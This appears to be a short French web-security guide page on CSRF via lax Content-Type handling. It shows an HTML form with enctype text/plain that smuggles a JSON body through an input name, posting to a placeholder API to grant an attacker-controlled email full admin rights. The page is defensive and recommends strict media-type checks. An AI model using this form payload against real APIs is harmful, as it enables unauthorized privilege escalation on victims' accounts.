C.S.R.F. & Media Type

L’une des erreurs classiques est d’accepter des media types autres que application/*json (header Content-Type).

Sans aucune autre erreur de configuration C.O.R.S., l’acceptation du media typeapplication/x-www-form-urlencoded permet à l’attaquant de créer un formulaire et de déclencher une simple requête POST.

document.querySelector('form').submit()

Dans ce cas, la plupart des frameworks (Ex. : expressjs) récupèrent un objet :

{
   email: 'pwned.by@attacker.io',
   grants: 'all'
}

Il ne faut donc activer que le parser JSON.

… mais supposons qu’il soit activé sur tous les "media types" et plus particulièrement text/plain pour simplifier la vie des développeurs "client-side".

1. L’attaquant n’a plus qu’à adapter légèrement le formulaire précédent :

<form
    method="POST"
    action="https://app.vulnerable.com/api/products/0/admins"
    enctype="text/plain">
    <input
         name='{"email": "pwned.by@attacker.io", "grants": "all", "extra": "'
        value='"}'>
</form>

2. Cela va alors envoyer le "body" suivant :

{"email": "pwned.by@attacker.io", "grants": "all", "extra": "="}

3. L’API va alors "parser" le contenu suivant :

{
    email: 'pwned.by@attacker.io',
    grants: 'all',
    extrat: '='
}

La vérification du media type des requêtes doit donc être rigoureuse.

Dernière mise à jour